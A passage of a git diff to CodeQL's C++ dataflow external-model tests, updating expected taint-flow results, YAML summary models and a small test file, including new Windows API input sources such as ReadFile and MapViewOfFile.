windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | windows.cpp:36:10:36:13 | * ... | provenance | | +| windows.cpp:39:36:39:38 | GetEnvironmentVariableA output argument | windows.cpp:41:10:41:13 | * ... | provenance | Src:MaD:329 | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [*hEvent] | windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | provenance | | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [hEvent] | windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | provenance | | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | provenance | MaD:343 | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | provenance | MaD:343 | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | windows.cpp:147:16:147:27 | *lpOverlapped [*hEvent] | provenance | | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | windows.cpp:157:16:157:27 | *lpOverlapped [hEvent] | provenance | | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | provenance | | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | provenance | | +| windows.cpp:147:16:147:27 | *lpOverlapped [*hEvent] | windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | provenance | | +| windows.cpp:149:18:149:62 | *hEvent | windows.cpp:149:18:149:62 | *hEvent | provenance | | +| windows.cpp:149:18:149:62 | *hEvent | windows.cpp:151:8:151:14 | * ... | provenance | | +| windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | windows.cpp:149:18:149:62 | *hEvent | provenance | | +| windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | windows.cpp:149:56:149:61 | *hEvent | provenance | | +| windows.cpp:149:56:149:61 | *hEvent | windows.cpp:149:18:149:62 | *hEvent | provenance | | +| windows.cpp:157:16:157:27 | *lpOverlapped [hEvent] | windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | provenance | | +| windows.cpp:159:12:159:55 | hEvent | windows.cpp:159:12:159:55 | hEvent | provenance | | +| windows.cpp:159:12:159:55 | hEvent | windows.cpp:160:8:160:8 | c | provenance | | +| windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | windows.cpp:159:12:159:55 | hEvent | provenance | | +| windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | windows.cpp:159:12:159:55 | hEvent | provenance | | +| windows.cpp:168:35:168:40 | ReadFile output argument | windows.cpp:170:10:170:16 | * ... | provenance | Src:MaD:331 | +| windows.cpp:177:23:177:28 | ReadFileEx output argument | windows.cpp:179:10:179:16 | * ... | provenance | Src:MaD:332 | +| windows.cpp:189:21:189:26 | ReadFile output argument | windows.cpp:190:5:190:56 | *... = ... | provenance | Src:MaD:331 | +| windows.cpp:190:5:190:14 | *overlapped [post update] [*hEvent] | windows.cpp:192:53:192:63 | *& ... [*hEvent] | provenance | | +| windows.cpp:190:5:190:56 | *... = ... | windows.cpp:190:5:190:14 | *overlapped [post update] [*hEvent] | provenance | | +| windows.cpp:192:53:192:63 | *& ... [*hEvent] | windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [*hEvent] | provenance | | +| windows.cpp:198:21:198:26 | ReadFile output argument | windows.cpp:199:5:199:57 | ... = ... | provenance | Src:MaD:331 | +| windows.cpp:199:5:199:14 | *overlapped [post update] [hEvent] | windows.cpp:201:53:201:63 | *& ... [hEvent] | provenance | | +| windows.cpp:199:5:199:57 | ... = ... | windows.cpp:199:5:199:14 | *overlapped [post update] [hEvent] | provenance | | +| windows.cpp:201:53:201:63 | *& ... [hEvent] | windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [hEvent] | provenance | | +| windows.cpp:209:84:209:89 | NtReadFile output argument | windows.cpp:211:10:211:16 | * ... | provenance | Src:MaD:340 | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | windows.cpp:286:23:286:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | windows.cpp:287:20:287:52 | *pMapView | provenance | | +| windows.cpp:287:20:287:52 | *pMapView | windows.cpp:289:10:289:16 | * ... | provenance | | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | provenance | Src:MaD:334 | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | windows.cpp:294:20:294:52 | *pMapView | provenance | | +| windows.cpp:294:20:294:52 | *pMapView | windows.cpp:296:10:296:16 | * ... | provenance | | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | provenance | Src:MaD:335 | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | windows.cpp:303:20:303:52 | *pMapView | provenance | | +| windows.cpp:303:20:303:52 | *pMapView | windows.cpp:305:10:305:16 | * ... | provenance | | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | provenance | Src:MaD:336 | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | windows.cpp:312:20:312:52 | *pMapView | provenance | | +| windows.cpp:312:20:312:52 | *pMapView | windows.cpp:314:10:314:16 | * ... | provenance | | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | provenance | Src:MaD:337 | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | windows.cpp:319:20:319:52 | *pMapView | provenance | | +| windows.cpp:319:20:319:52 | *pMapView | windows.cpp:321:10:321:16 | * ... | provenance | | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | provenance | Src:MaD:338 | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | windows.cpp:326:20:326:52 | *pMapView | provenance | | +| windows.cpp:326:20:326:52 | *pMapView | windows.cpp:328:10:328:16 | * ... | provenance | | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | provenance | Src:MaD:339 | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | windows.cpp:333:20:333:52 | *pMapView | provenance | | +| windows.cpp:333:20:333:52 | *pMapView | windows.cpp:335:10:335:16 | * ... | provenance | | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -31,15 +112,113 @@ nodes | asio_streams.cpp:100:64:100:71 | *send_str | semmle.label | *send_str | | asio_streams.cpp:101:7:101:17 | send_buffer | semmle.label | send_buffer | | asio_streams.cpp:103:29:103:39 | *send_buffer | semmle.label | *send_buffer | -| test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | semmle.label | [summary param] 0 in ymlStep | -| test.cpp:4:5:4:11 | [summary] to write: ReturnValue in ymlStep | semmle.label | [summary] to write: ReturnValue in ymlStep | -| test.cpp:7:10:7:18 | call to ymlSource | semmle.label | call to ymlSource | -| test.cpp:7:10:7:18 | call to ymlSource | semmle.label | call to ymlSource | -| test.cpp:11:10:11:10 | x | semmle.label | x | -| test.cpp:13:10:13:16 | call to ymlStep | semmle.label | call to ymlStep | -| test.cpp:13:10:13:16 | call to ymlStep | semmle.label | call to ymlStep | -| test.cpp:13:18:13:18 | x | semmle.label | x | -| test.cpp:15:10:15:10 | y | semmle.label | y | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | semmle.label | [summary param] 0 in ymlStepManual | +| test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | semmle.label | [summary] to write: ReturnValue in ymlStepManual | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | semmle.label | [summary param] 0 in ymlStepGenerated | +| test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | semmle.label | [summary] to write: ReturnValue in ymlStepGenerated | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | semmle.label | [summary param] 0 in ymlStepManual_with_body | +| test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | semmle.label | [summary] to write: ReturnValue in ymlStepManual_with_body | +| test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | semmle.label | *ymlStepGenerated_with_body | +| test.cpp:7:47:7:52 | value2 | semmle.label | value2 | +| test.cpp:7:64:7:69 | value2 | semmle.label | value2 | +| test.cpp:10:10:10:18 | call to ymlSource | semmle.label | call to ymlSource | +| test.cpp:10:10:10:18 | call to ymlSource | semmle.label | call to ymlSource | +| test.cpp:14:10:14:10 | x | semmle.label | x | +| test.cpp:17:10:17:22 | call to ymlStepManual | semmle.label | call to ymlStepManual | +| test.cpp:17:10:17:22 | call to ymlStepManual | semmle.label | call to ymlStepManual | +| test.cpp:17:24:17:24 | x | semmle.label | x | +| test.cpp:18:10:18:10 | y | semmle.label | y | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | semmle.label | call to ymlStepGenerated | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | semmle.label | call to ymlStepGenerated | +| test.cpp:21:27:21:27 | x | semmle.label | x | +| test.cpp:22:10:22:10 | z | semmle.label | z | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | semmle.label | call to ymlStepManual_with_body | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | semmle.label | call to ymlStepManual_with_body | +| test.cpp:25:35:25:35 | x | semmle.label | x | +| test.cpp:26:10:26:11 | y2 | semmle.label | y2 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | +| test.cpp:32:41:32:41 | x | semmle.label | x | +| test.cpp:33:10:33:11 | z2 | semmle.label | z2 | +| windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | semmle.label | [summary param] *0 in CommandLineToArgvA | +| windows.cpp:17:8:17:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | semmle.label | [summary] to write: ReturnValue[**] in CommandLineToArgvA | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | +| windows.cpp:24:8:24:11 | * ... | semmle.label | * ... | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | +| windows.cpp:27:36:27:38 | *cmd | semmle.label | *cmd | +| windows.cpp:30:8:30:15 | * ... | semmle.label | * ... | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | +| windows.cpp:36:10:36:13 | * ... | semmle.label | * ... | +| windows.cpp:39:36:39:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | +| windows.cpp:41:10:41:13 | * ... | semmle.label | * ... | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [*hEvent] | semmle.label | [summary param] *3 in ReadFileEx [*hEvent] | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [hEvent] | semmle.label | [summary param] *3 in ReadFileEx [hEvent] | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | +| windows.cpp:147:16:147:27 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | +| windows.cpp:149:18:149:62 | *hEvent | semmle.label | *hEvent | +| windows.cpp:149:18:149:62 | *hEvent | semmle.label | *hEvent | +| windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | +| windows.cpp:149:56:149:61 | *hEvent | semmle.label | *hEvent | +| windows.cpp:151:8:151:14 | * ... | semmle.label | * ... | +| windows.cpp:157:16:157:27 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | +| windows.cpp:159:12:159:55 | hEvent | semmle.label | hEvent | +| windows.cpp:159:12:159:55 | hEvent | semmle.label | hEvent | +| windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | +| windows.cpp:160:8:160:8 | c | semmle.label | c | +| windows.cpp:168:35:168:40 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:170:10:170:16 | * ... | semmle.label | * ... | +| windows.cpp:177:23:177:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | +| windows.cpp:179:10:179:16 | * ... | semmle.label | * ... | +| windows.cpp:189:21:189:26 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:190:5:190:14 | *overlapped [post update] [*hEvent] | semmle.label | *overlapped [post update] [*hEvent] | +| windows.cpp:190:5:190:56 | *... = ... | semmle.label | *... = ... | +| windows.cpp:192:53:192:63 | *& ... [*hEvent] | semmle.label | *& ... [*hEvent] | +| windows.cpp:198:21:198:26 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:199:5:199:14 | *overlapped [post update] [hEvent] | semmle.label | *overlapped [post update] [hEvent] | +| windows.cpp:199:5:199:57 | ... = ... | semmle.label | ... = ... | +| windows.cpp:201:53:201:63 | *& ... [hEvent] | semmle.label | *& ... [hEvent] | +| windows.cpp:209:84:209:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | +| windows.cpp:211:10:211:16 | * ... | semmle.label | * ... | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:287:20:287:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:289:10:289:16 | * ... | semmle.label | * ... | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:294:20:294:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:296:10:296:16 | * ... | semmle.label | * ... | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:303:20:303:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:305:10:305:16 | * ... | semmle.label | * ... | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:312:20:312:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:314:10:314:16 | * ... | semmle.label | * ... | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:319:20:319:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:321:10:321:16 | * ... | semmle.label | * ... | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:326:20:326:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:328:10:328:16 | * ... | semmle.label | * ... | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:333:20:333:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:335:10:335:16 | * ... | semmle.label | * ... | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | -| test.cpp:13:18:13:18 | x | test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | test.cpp:4:5:4:11 | [summary] to write: ReturnValue in ymlStep | test.cpp:13:10:13:16 | call to ymlStep | +| test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | +| test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | +| test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | +| test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:17:8:17:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml b/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml index 42ca51bc4248..12dbf7d4cd23 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml @@ -13,4 +13,7 @@ extensions: pack: codeql/cpp-all extensible: summaryModel data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance - - ["", "", False, "ymlStep", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] \ No newline at end of file + - ["", "", False, "ymlStepManual", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", False, "ymlStepManual_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected b/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected index 392c0bc03c1a..2c2338a7dcc6 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sinks.expected @@ -1,5 +1,10 @@ | asio_streams.cpp:93:29:93:39 | *recv_buffer | remote-sink | | asio_streams.cpp:103:29:103:39 | *send_buffer | remote-sink | -| test.cpp:9:10:9:10 | 0 | test-sink | -| test.cpp:11:10:11:10 | x | test-sink | -| test.cpp:15:10:15:10 | y | test-sink | +| test.cpp:12:10:12:10 | 0 | test-sink | +| test.cpp:14:10:14:10 | x | test-sink | +| test.cpp:18:10:18:10 | y | test-sink | +| test.cpp:22:10:22:10 | z | test-sink | +| test.cpp:26:10:26:11 | y2 | test-sink | +| test.cpp:29:10:29:11 | y3 | test-sink | +| test.cpp:33:10:33:11 | z2 | test-sink | +| test.cpp:36:10:36:11 | z3 | test-sink | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected index aa85e74fc034..8730083d0161 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected @@ -1,2 +1,19 @@ | asio_streams.cpp:87:34:87:44 | read_until output argument | remote | -| test.cpp:7:10:7:18 | call to ymlSource | local | +| test.cpp:10:10:10:18 | call to ymlSource | local | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | local | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | local | +| windows.cpp:39:36:39:38 | GetEnvironmentVariableA output argument | local | +| windows.cpp:168:35:168:40 | ReadFile output argument | local | +| windows.cpp:177:23:177:28 | ReadFileEx output argument | local | +| windows.cpp:189:21:189:26 | ReadFile output argument | local | +| windows.cpp:192:23:192:29 | ReadFileEx output argument | local | +| windows.cpp:198:21:198:26 | ReadFile output argument | local | +| windows.cpp:201:23:201:29 | ReadFileEx output argument | local | +| windows.cpp:209:84:209:89 | NtReadFile output argument | local | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | local | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | local | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | local | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | local | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | local | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | local | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | local | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected index 2bc7fb6b49aa..ce5dd687caf9 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected @@ -1,2 +1,8 @@ | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | -| test.cpp:13:18:13:18 | x | test.cpp:13:10:13:16 | call to ymlStep | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | +| test.cpp:28:35:28:35 | 0 | test.cpp:28:11:28:33 | call to ymlStepManual_with_body | +| test.cpp:32:38:32:38 | 0 | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | +| test.cpp:35:38:35:38 | x | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml b/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml index c8a195b7aa6e..da9448b8e8f1 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml +++ b/cpp/ql/test/library-tests/dataflow/external-models/steps.ext.yml @@ -3,4 +3,7 @@ extensions: pack: codeql/cpp-all extensible: summaryModel data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance - - ["", "", False, "ymlStep", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepManual", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", False, "ymlStepManual_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/cpp/ql/test/library-tests/dataflow/external-models/test.cpp b/cpp/ql/test/library-tests/dataflow/external-models/test.cpp index aa50f6715f21..a0b12004074b 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/test.cpp @@ -1,7 +1,10 @@ int ymlSource(); void ymlSink(int value); -int ymlStep(int value); +int ymlStepManual(int value); +int ymlStepGenerated(int value); +int ymlStepManual_with_body(int value1, int value2) { return value2; } +int ymlStepGenerated_with_body(int value, int value2) { return value2; } void test() { int x = ymlSource(); @@ -10,7 +13,25 @@ void test() { ymlSink(x); // $ ir - int y = ymlStep(x); - + // ymlStepManual is manually modeled so we should always use the model + int y = ymlStepManual(x); ymlSink(y); // $ ir + + // ymlStepGenerated is modeled by the model generator so we should use the model only if there is no body + int z = ymlStepGenerated(x); + ymlSink(z); // $ ir + + // ymlStepManual_with_body is manually modeled so we should always use the model + int y2 = ymlStepManual_with_body(x, 0); + ymlSink(y2); // $ ir + + int y3 = ymlStepManual_with_body(0, x); + ymlSink(y3); // clean + + // ymlStepGenerated_with_body is modeled by the model generator so we should use the model only if there is no body + int z2 = ymlStepGenerated_with_body(0, x); + ymlSink(z2); // $ ir + + int z3 = ymlStepGenerated_with_body(x, 0); + ymlSink(z3); // clean } diff --git a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected index 718cf020c4d0..a1511035d9e5 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected @@ -13,23 +13,2517 @@ | Dubious member name "operator->" in summary model. | | Dubious member name "operator=" in summary model. | | Dubious member name "operator[]" in summary model. | +| Dubious signature "(..(*)(..))" in summary model. | +| Dubious signature "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(..(*)(..),d2i_of_void *,BIO *,void **)" in summary model. | +| Dubious signature "(..(*)(..),d2i_of_void *,FILE *,void **)" in summary model. | +| Dubious signature "(..(*)(..),void *)" in summary model. | +| Dubious signature "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)" in summary model. | +| Dubious signature "(ACCESS_DESCRIPTION *)" in summary model. | +| Dubious signature "(ACCESS_DESCRIPTION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ADMISSIONS *)" in summary model. | +| Dubious signature "(ADMISSIONS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ADMISSIONS *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(ADMISSIONS *,NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(ADMISSIONS *,PROFESSION_INFOS *)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX *)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(ADMISSION_SYNTAX *,stack_st_ADMISSIONS *)" in summary model. | +| Dubious signature "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(ARGS *,char *)" in summary model. | +| Dubious signature "(ASIdOrRange *)" in summary model. | +| Dubious signature "(ASIdOrRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASIdentifierChoice *)" in summary model. | +| Dubious signature "(ASIdentifierChoice **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASIdentifiers *)" in summary model. | +| Dubious signature "(ASIdentifiers **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,int,int)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(ASN1_BIT_STRING *,unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_BMPSTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_ENUMERATED **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_ENUMERATED 